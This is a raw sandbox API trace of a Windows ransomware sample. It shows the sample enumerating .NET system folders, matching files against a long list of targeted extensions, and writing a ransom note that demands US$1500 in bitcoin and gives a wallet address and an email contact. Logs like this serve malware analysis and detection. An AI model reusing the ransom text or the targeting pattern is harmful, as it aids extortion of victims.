(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.mp3") returned 0 [0104.967] lstrlenA (lpString="*.mp3") returned 5 [0104.967] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.aiff") returned 0 [0104.967] lstrlenA (lpString="*.aiff") returned 6 [0104.967] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.flac") returned 0 [0104.967] lstrlenA (lpString="*.flac") returned 6 [0104.967] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.m4a") returned 0 [0104.967] lstrlenA (lpString="*.m4a") returned 5 [0104.967] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.csv") returned 0 [0104.967] lstrlenA (lpString="*.csv") returned 5 [0104.967] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7249b698, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x7249b698, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x7249b698, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x21200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Data.DataSetExtensions.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0104.967] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0104.967] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7250dab9, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x7250dab9, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x7250dab9, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="eae18653a1b39fe484b49963d43480ce", cAlternateFileName="EAE186~1")) returned 0 [0104.968] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0104.968] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82ba377c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x82ba377c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x82ba377c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Data.Entity", cAlternateFileName="SYSTEM~2.ENT")) returned 1 [0104.968] lstrcmpA (lpString1=".", lpString2="System.Data.Entity") returned -1 [0104.968] lstrcmpA (lpString1="..", lpString2="System.Data.Entity") returned -1 [0104.968] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0104.968] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="System.Data.Entity" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity" [0104.968] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity") returned 65 [0104.968] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82ba377c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x82ba377c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x82ba377c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0104.971] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.971] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82ba377c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x82ba377c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x82ba377c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.972] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.972] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.972] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82ba377c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x82ba377c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x82ba377c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="a5947a9c77b884b9e06c54f38ff3c4d7", cAlternateFileName="A5947A~1")) returned 1 [0104.972] lstrcmpA (lpString1=".", lpString2="a5947a9c77b884b9e06c54f38ff3c4d7") returned -1 [0104.972] lstrcmpA (lpString1="..", lpString2="a5947a9c77b884b9e06c54f38ff3c4d7") returned -1 [0104.972] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\*.*") returned="*.*" [0104.972] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\", lpString2="a5947a9c77b884b9e06c54f38ff3c4d7" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7" [0104.972] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7") returned 98 [0104.972] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82ba377c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x82ba377c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x82ba377c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0104.972] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.972] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82ba377c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x82ba377c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x82ba377c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.972] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.972] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.972] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x827eb515, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x827eb515, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x829da6f9, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x976400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Data.Entity.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0104.973] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0104.973] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Data.Entity.ni.dll") returned -1 [0104.973] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Data.Entity.ni.dll") returned -1 [0104.973] lstrcmpiA (lpString1="", lpString2="System.Data.Entity.ni.dll") returned -1 [0104.973] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\*.*") returned="*.*" [0104.973] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\" [0104.973] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\") returned="" [0104.973] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\HOW TO DECRYPT FILES.txt" [0104.973] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.data.entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\how to decrypt files.txt")) returned 0xffffffff [0104.973] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.data.entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0104.974] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0104.974] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0104.976] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0104.976] CloseHandle (hObject=0x90) returned 1 [0104.976] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\", lpString2="System.Data.Entity.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll" [0104.976] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.ems") returned 0 [0104.976] lstrlenA (lpString="*.ems") returned 5 [0104.976] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.db") returned 0 [0104.977] lstrlenA (lpString="*.db") returned 4 [0104.977] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.dbf") returned 0 [0104.977] lstrlenA (lpString="*.dbf") returned 5 [0104.977] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.myox") returned 0 [0104.977] lstrlenA (lpString="*.myox") returned 6 [0104.977] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.myo") returned 0 [0104.977] lstrlenA (lpString="*.myo") returned 5 [0104.977] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.qbw") returned 0 [0104.977] lstrlenA (lpString="*.qbw") returned 5 [0104.977] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.qbb") returned 0 [0104.977] lstrlenA (lpString="*.qbb") returned 5 [0104.977] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.qbm") returned 0 [0104.977] lstrlenA (lpString="*.qbm") returned 5 [0104.977] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.qbo") returned 0 [0104.977] lstrlenA (lpString="*.qbo") returned 5 [0104.977] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.qbx") returned 0 [0104.977] lstrlenA (lpString="*.qbx") returned 5 [0104.977] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.qba") returned 0 [0104.977] lstrlenA (lpString="*.qba") returned 5 [0104.978] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.qby") returned 0 [0104.978] lstrlenA (lpString="*.qby") returned 5 [0104.978] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.qbj") returned 0 [0104.978] lstrlenA (lpString="*.qbj") returned 5 [0104.978] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.ofx") returned 0 [0104.978] lstrlenA (lpString="*.ofx") returned 5 [0104.978] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.qif") returned 0 [0104.978] lstrlenA (lpString="*.qif") returned 5 [0104.978] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.mye") returned 0 [0104.978] lstrlenA (lpString="*.mye") returned 5 [0104.978] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.mbox") returned 0 [0104.978] lstrlenA (lpString="*.mbox") returned 6 [0104.978] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.eml") returned 0 [0104.978] lstrlenA (lpString="*.eml") returned 5 [0104.978] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.pst") returned 0 [0104.978] lstrlenA (lpString="*.pst") returned 5 [0104.978] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.ost") returned 0 [0104.978] lstrlenA (lpString="*.ost") returned 5 [0104.978] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.idx") returned 0 [0104.978] lstrlenA (lpString="*.idx") returned 5 [0104.979] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.dbx") returned 0 [0104.979] lstrlenA (lpString="*.dbx") returned 5 [0104.979] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.sql") returned 0 [0104.979] lstrlenA (lpString="*.sql") returned 5 [0104.979] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.mdb") returned 0 [0104.979] lstrlenA (lpString="*.mdb") returned 5 [0104.979] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.fdb") returned 0 [0104.979] lstrlenA (lpString="*.fdb") returned 5 [0104.979] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.wab") returned 0 [0104.979] lstrlenA (lpString="*.wab") returned 5 [0104.979] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.dat") returned 0 [0104.979] lstrlenA (lpString="*.dat") returned 5 [0104.979] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.txt") returned 0 [0104.979] lstrlenA (lpString="*.txt") returned 5 [0104.979] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.jpeg") returned 0 [0104.979] lstrlenA (lpString="*.jpeg") returned 6 [0104.979] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.jpg") returned 0 [0104.979] lstrlenA (lpString="*.jpg") returned 5 [0104.979] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.png") returned 0 [0104.979] lstrlenA (lpString="*.png") returned 5 [0104.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.php") returned 0 [0104.980] lstrlenA (lpString="*.php") returned 5 [0104.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.cs") returned 0 [0104.980] lstrlenA (lpString="*.cs") returned 4 [0104.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.cpp") returned 0 [0104.980] lstrlenA (lpString="*.cpp") returned 5 [0104.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.rar") returned 0 [0104.980] lstrlenA (lpString="*.rar") returned 5 [0104.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.zip") returned 0 [0104.980] lstrlenA (lpString="*.zip") returned 5 [0104.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.html") returned 0 [0104.980] lstrlenA (lpString="*.html") returned 6 [0104.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.htm") returned 0 [0104.980] lstrlenA (lpString="*.htm") returned 5 [0104.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.xlsx") returned 0 [0104.980] lstrlenA (lpString="*.xlsx") returned 6 [0104.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.xls") returned 0 [0104.980] lstrlenA (lpString="*.xls") returned 5 [0104.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.mp4") returned 0 [0104.981] lstrlenA (lpString="*.mp4") returned 5 [0104.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.ppt") returned 0 [0104.981] lstrlenA (lpString="*.ppt") returned 5 [0104.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.pptx") returned 0 [0104.981] lstrlenA (lpString="*.pptx") returned 6 [0104.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.doc") returned 0 [0104.981] lstrlenA (lpString="*.doc") returned 5 [0104.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.dot") returned 0 [0104.981] lstrlenA (lpString="*.dot") returned 5 [0104.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.docx") returned 0 [0104.981] lstrlenA (lpString="*.docx") returned 6 [0104.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.7z") returned 0 [0104.981] lstrlenA (lpString="*.7z") returned 4 [0104.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.tar") returned 0 [0104.981] lstrlenA (lpString="*.tar") returned 5 [0104.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.bz2") returned 0 [0104.981] lstrlenA (lpString="*.bz2") returned 5 [0104.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.gz") returned 0 [0104.981] lstrlenA (lpString="*.gz") returned 4 [0104.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.mkv") returned 0 [0104.982] lstrlenA (lpString="*.mkv") returned 5 [0104.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.eml") returned 0 [0104.982] lstrlenA 